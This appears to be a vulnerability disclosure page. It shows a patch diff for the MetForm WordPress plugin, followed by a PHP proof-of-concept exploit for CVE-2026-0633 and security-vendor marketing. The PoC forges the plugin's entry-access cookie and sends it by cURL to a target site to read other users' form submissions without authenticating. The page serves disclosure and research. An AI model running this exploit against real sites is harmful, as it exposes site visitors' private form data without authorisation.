+                                                <span class="refresh-icon  metfrom-btn-refresh-google-drive-folder-list">
+                                                    <svg xmlns="http://www.w3.org/2000/svg" width="14" height="13" fill="none" class="metfrom-btn-refresh-hubsopt-list">
+                                                        <?php MetFormUtilsUtil::metform_content_renderer( $refresh_icon_path); ?>
+                                                    </svg>
+                                                </span>
+                                            </label>
+
+                                            <select class="attr-form-control mf-google-drive-folder-list">
+
+                                            </select>
+                                            <input type="hidden" name="mf_google_drive_folder_list_id" class="mf-google-drive-folder-list-id attr-form-control" placeholder="<?php esc_html_e('Google Drive folder list id', 'metform'); ?>">
+                                        </div>
+                                    </div>
+                                </div>
+                            <?php else:
+                                mf_dummy_switch_input([
+                                    'label' => esc_html__('Google Drive :', 'metform'),
+                                    'help' => esc_html__('Integrate google drive file upload', 'metform'),
+                                    'badge' =>'Pro'
+                                ]);
+                            endif; ?>
                             <?php if (did_action('xpd_metform_pro/plugin_loaded')) :

                                 if (class_exists('MetForm_ProCoreIntegrationsMail_Poet')) : ?>
--- a/metform/metform.php
+++ b/metform/metform.php
@@ -3,7 +3,7 @@
  * Plugin Name: MetForm
  * Plugin URI: http://wpmet.com/plugin/metform/
  * Description: Most flexible and design friendly form builder for Elementor
- * Version: 4.1.0
+ * Version: 4.1.1
  * Author: Wpmet
  * Author URI:  https://wpmet.com
  * Text Domain: metform
--- a/metform/plugin.php
+++ b/metform/plugin.php
@@ -22,11 +22,15 @@
        add_action( 'init', array ($this, 'metform_permalink_setup'));
        add_action("metform/pro_awareness/before_grid_contents", ['MetFormUtilsUtil', 'banner_consent']);
        add_action( 'wp_ajax_metform_admin_action', ['MetFormUtilsUtil', 'metform_admin_action'] );
+       add_action( 'admin_head', array( $this, 'hide_other_plugin_notices' ), 1 );
+
+       /** Adds a global CSS class to the body tag in the editor.**/
+       add_filter('admin_body_class', fn($classes) => $classes . ' metform-admin' );
     }

     public function version()
     {
-        return '4.1.0';
+        return '4.1.1';
     }

     public function package_type()
@@ -646,5 +650,63 @@
         UtilsUtil::permalink_setup();
     }

+    /**
+     * Hide other plugins/themes admin notices on MetForm pages
+     * Only show MetForm's own notices
+     */
+    public function hide_other_plugin_notices() {
+        $screen = get_current_screen();
+
+        if (!$screen) {
+            return;
+        }
+
+        // Check if current page is a MetForm page by screen ID
+        $is_metform_page = (strpos($screen->id, 'metform') !== false);
+
+        // Also check for post_type parameter
+        if (!$is_metform_page && isset($_GET['post_type'])) {
+            $post_type = sanitize_text_field($_GET['post_type']);
+            $is_metform_page = (strpos($post_type, 'metform') !== false);
+        }
+
+        // Check if current page is a MetForm page
+        if ($is_metform_page) {
+            global $wp_filter;
+
+            // Store MetForm notices before removing all
+            $metform_notices = [];
+
+            if (isset($wp_filter['admin_notices'])) {
+                foreach ($wp_filter['admin_notices']->callbacks as $priority => $callbacks) {
+                    foreach ($callbacks as $key => $callback) {
+                        // Keep only MetForm and Oxaim (MetForm's namespace) notices
+                        if (is_array($callback['function'])) {
+                            $class = is_object($callback['function'][0]) ? get_class($callback['function'][0]) : $callback['function'][0];
+                            if (strpos($class, 'MetForm') !== false || strpos($class, 'Oxaim') !== false) {
+                                $metform_notices[$priority][$key] = $callback;
+                            }
+                        } elseif (is_string($callback['function']) && (strpos($callback['function'], 'metform') !== false || strpos($callback['function'], 'oxaim') !== false)) {
+                            $metform_notices[$priority][$key] = $callback;
+                        }
+                    }
+                }
+            }
+
+            // Remove all admin notices
+            remove_all_actions('admin_notices');
+            remove_all_actions('all_admin_notices');
+
+            // Re-add only MetForm notices
+            if (!empty($metform_notices)) {
+                foreach ($metform_notices as $priority => $callbacks) {
+                    foreach ($callbacks as $callback) {
+                        add_action('admin_notices', $callback['function'], $priority, $callback['accepted_args']);
+                    }
+                }
+            }
+        }
+    }
+

 }
--- a/metform/templates/base.php
+++ b/metform/templates/base.php
@@ -13,7 +13,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Simple Contact Form 1',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/1/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/contact-form-1/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/contact-information-style-01/',
                 'file' => MetFormPlugin::instance()->plugin_dir() . 'templates/1/content.json',
             ],
             'template-2' => [
@@ -22,7 +22,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Simple Contact Form 2',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/2/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/contact-form-2/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/contact-information-style-02/',
                 'file' => MetFormPlugin::instance()->plugin_dir() . 'templates/2/content.json',

             ],
@@ -41,7 +41,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Admission Form',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/4/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/admission-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/admission-form/',
                 'file' => MetFormPlugin::instance()->plugin_dir() . 'templates/4/content.json',
             ],
             'template-5' => [
@@ -50,7 +50,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Booking Form',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/5/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/booking-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/booking-form-template/',
                 'file' => MetFormPlugin::instance()->plugin_dir() . 'templates/5/content.json',
             ],
             'template-6' => [
@@ -59,7 +59,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Event Form',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/6/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/event-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/event-form-style-01/',
                 'file' => '',
             ],
             'template-7' => [
@@ -68,7 +68,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Job Application Form',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/7/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/job-application-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/job-application-form-style-01/',
                 'file' => '',
             ],
             'template-8' => [
@@ -77,7 +77,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Job Listing Form',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/8/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/job-listing-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/job-listing-form/',
                 'file' => '',
             ],
             'template-9' => [
@@ -86,7 +86,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Loan Application Form',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/9/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/loan-application-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/loan-application-form-style-01/',
                 'file' => '',
             ],
             'template-10' => [
@@ -95,7 +95,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Newsletter Signup Form',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/10/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/newsletter-signup-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/newsletter-signup-form/',
                 'file' => '',
             ],
             'template-11' => [
@@ -104,7 +104,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Patient Form',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/11/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/patient-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/patient-form/',
                 'file' => '',
             ],
             'template-12' => [
@@ -113,7 +113,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Personal Data Erasure Request',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/12/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/personal-data-erasure-request/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/data-erasure-request/',
                 'file' => '',
             ],
             'template-13' => [
@@ -122,7 +122,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Product Order Form',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/13/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/product-order-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/product-order-form-style-01/',
                 'file' => '',
             ],
             'template-14' => [
@@ -131,7 +131,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Rating Form',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/14/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/rating-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/rating-form/',
                 'file' => '',
             ],
             'template-15' => [
@@ -140,7 +140,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Report A Bug Form',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/15/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/report-a-bug-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/report-a-bug-form-template/',
                 'file' => '',
             ],
             'template-16' => [
@@ -149,7 +149,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Request For Leave Form',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/16/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/request-for-leave-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/request-for-leave-form/',
                 'file' => '',
             ],
             'template-17' => [
@@ -158,7 +158,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Request For Quote Form',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/17/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/request-for-quote-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/request-for-quote-form/',
                 'file' => '',
             ],
             'template-18' => [
@@ -167,7 +167,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Restaurant Reservation Form',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/18/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/restaurant-reservation-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/restaurant-reservation-form-style-01/',
                 'file' => '',
             ],
             'template-19' => [
@@ -176,7 +176,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Suggestion Form',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/19/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/suggestion-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/suggestion-form/',
                 'file' => '',
             ],
             'template-20' => [
@@ -185,7 +185,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Support Form',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/20/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/support-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/support-form/',
                 'file' => '',
             ],
             'template-21' => [
@@ -194,7 +194,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Volunteer Application Form',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/21/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/volunteer-application-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/volunteer-application-style-01/',
                 'file' => '',
             ],
             'template-22' => [
@@ -203,7 +203,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Website Feedback',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/22/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/website-feedback/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/feedback-form/',
                 'file' => '',
             ],
             'template-23' => [
@@ -212,7 +212,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Subscribe Form 1',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/23/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/demos/subscribe-form-1/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/subscribe-form-style-01/',
                 'file' => '',
             ],
             'template-24' => [
@@ -221,7 +221,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Subscribe Form 2',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/24/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/demos/subscribe-form-2/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/subscribe-form-style-02/',
                 'file' => '',
             ],
             'template-25' => [
@@ -230,7 +230,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Food Order Form',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/25/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/pro-demos/food-order-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/pro-demos/food-order-form/',
                 'file' => '',
             ],
             'template-26' => [
@@ -239,7 +239,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Conditional Form 1',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/26/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/pro-demos/conditional-form-1/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/conditional-form-style-01/',
                 'file' => '',
             ],
             'template-27' => [
@@ -248,7 +248,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Conditional Form 2',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/27/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/pro-demos/conditional-form-2/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/conditional-style-02/',
                 'file' => '',
             ],
             'template-28' => [
@@ -257,7 +257,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Conditional Form 3',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/28/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/pro-demos/conditional-form-3/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/conditional-style-03/',
                 'file' => '',
             ],
             'template-29' => [
@@ -266,7 +266,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Conditional Form 4',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/29/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/pro-demos/conditional-form-4/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/conditional-style-04/',
                 'file' => '',
             ],
             'template-30' => [
@@ -275,7 +275,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Conditional Form 5',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/30/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/pro-demos/conditional-form-5/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/conditional-style-05/',
                 'file' => '',
             ],
             'template-31' => [
@@ -284,7 +284,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Conditional Form 6',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/31/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/pro-demos/conditional-form-6/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/conditional-style-06/',
                 'file' => '',
             ],
             'template-32' => [
@@ -293,7 +293,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Calculation Form 1',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/32/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/pro-demos/calculation-form-1/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/calculation-style-01/',
                 'file' => '',
             ],
             'template-33' => [
@@ -302,7 +302,7 @@
                 'form_type' => 'general-form',
                 'title' => 'Calculation Form 2',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/33/preview-thumb.svg',
-                'demo-url'  => 'https://products.wpmet.com/metform/pro-demos/calculation-form-2/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/calculation-style-02/',
                 'file' => '',
             ],
             'template-39' => [
@@ -311,7 +311,7 @@
                 'form_type' => 'quiz-form',
                 'title' => 'Essential Oil and Wellness Quiz',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/39/preview-thumb.svg',
-                'demo-url'  => 'https://wpmet.com/plugin/metform/metform-form/essential-oil-and-wellness-quiz/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/essential-oil-and-wellness-quiz/',
                 'file' => MetFormPlugin::instance()->plugin_dir() . 'templates/39/content.json',
             ],
             'template-40' => [
@@ -320,7 +320,7 @@
                 'form_type' => 'quiz-form',
                 'title' => 'General Knowledge Quiz',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/40/preview-thumb.svg',
-                'demo-url'  => 'https://wpmet.com/plugin/metform/metform-form/general-knowledge-quiz-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/general-knowledge-quiz/',
                 'file' => MetFormPlugin::instance()->plugin_dir() . 'templates/40/content.json',
             ],
             'template-41' => [
@@ -329,7 +329,7 @@
                 'form_type' => 'quiz-form',
                 'title' => 'Conditional Logic Quiz',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/41/preview-thumb.svg',
-                'demo-url'  => 'https://wpmet.com/plugin/metform/metform-form/conditional-logic-quiz/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/conditional-logic-quiz/',
                 'file' => MetFormPlugin::instance()->plugin_dir() . 'templates/41/content.json',
             ],
             'template-42' => [
@@ -338,7 +338,7 @@
                 'form_type' => 'quiz-form',
                 'title' => 'Biology Quiz',
                 'preview-thumb' => MetFormPlugin::instance()->plugin_url() . 'templates/42/preview-thumb.svg',
-                'demo-url'  => 'https://wpmet.com/plugin/metform/metform-form/biology-quiz-form/',
+                'demo-url'  => 'https://wpmet.com/plugin/metform/templates/biology-quiz-form-template/',
                 'file' => MetFormPlugin::instance()->plugin_dir() . 'templates/42/content.json',
             ],

--- a/metform/widgets/file-upload/file-upload.php
+++ b/metform/widgets/file-upload/file-upload.php
@@ -209,6 +209,7 @@
 					'.csv'  => esc_html__( '.csv', 'metform' ),
 					'.stp'  => esc_html__( '.stp', 'metform' ),
 					'.stl'  => esc_html__( '.stl', 'metform' ),
+					'.webp'  => esc_html__( '.webp', 'metform' ),
 				],
                 'default' => [ '.jpg', '.jpeg', '.gif', '.png' ],
 			]
@@ -546,7 +547,9 @@
 									className="mf-file-remove"
 									onClick=${() => parent.removeUploadedFile('<?php echo esc_attr($mf_input_name); ?>', idx)}
 									title="Remove"
-								>×</span>
+								>
+									<label class="mf-file-cross">×</label>
+								</span>
 							</span>
 						`)
 						: html`<span>${parent.getFileLabel('<?php echo esc_attr($mf_input_name); ?>', '<?php echo esc_html($mf_input_no_file); ?>')}</span>`

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC 
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2026-0633 - MetForm <= 4.1.0 - Unauthenticated Form Submission Exposure via Forgeable Cookie Value
<?php

$target_url = 'https://example.com/'; // Target WordPress site with MetForm
$entry_id = 123; // Target form entry ID to access

// The vulnerable token generation: password_hash( entry_id . current_user_id, PASSWORD_DEFAULT )
// For an unauthenticated user, current_user_id is 0.
$token_string = $entry_id . '0';

// Generate the forged cookie value matching the plugin's vulnerable method.
$forged_cookie_value = password_hash($token_string, PASSWORD_DEFAULT);

// The cookie name is the base64 encoding of 'mf-cookie'.
$cookie_name = 'bWYtY29va2ll';

// Initialize cURL session.
$ch = curl_init();

// Set the target URL. This should be a page containing a MetForm shortcode for viewing entries.
curl_setopt($ch, CURLOPT_URL, $target_url);

// Set the forged cookie in the request header.
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'Cookie: ' . $cookie_name . '=' . urlencode($forged_cookie_value)
]);

// Return the response as a string.
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

// Execute the request.
$response = curl_exec($ch);

// Check for errors.
if (curl_errno($ch)) {
    echo 'cURL Error: ' . curl_error($ch) . "n";
} else {
    // In a real scenario, the response would contain the form entry data.
    echo "Request sent with forged cookie.n";
    echo "If the target page has a MetForm entry shortcode and the entry ID {$entry_id} exists (within 15 min TTL), the form data may be exposed.n";
}

// Close cURL session.
curl_close($ch);

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School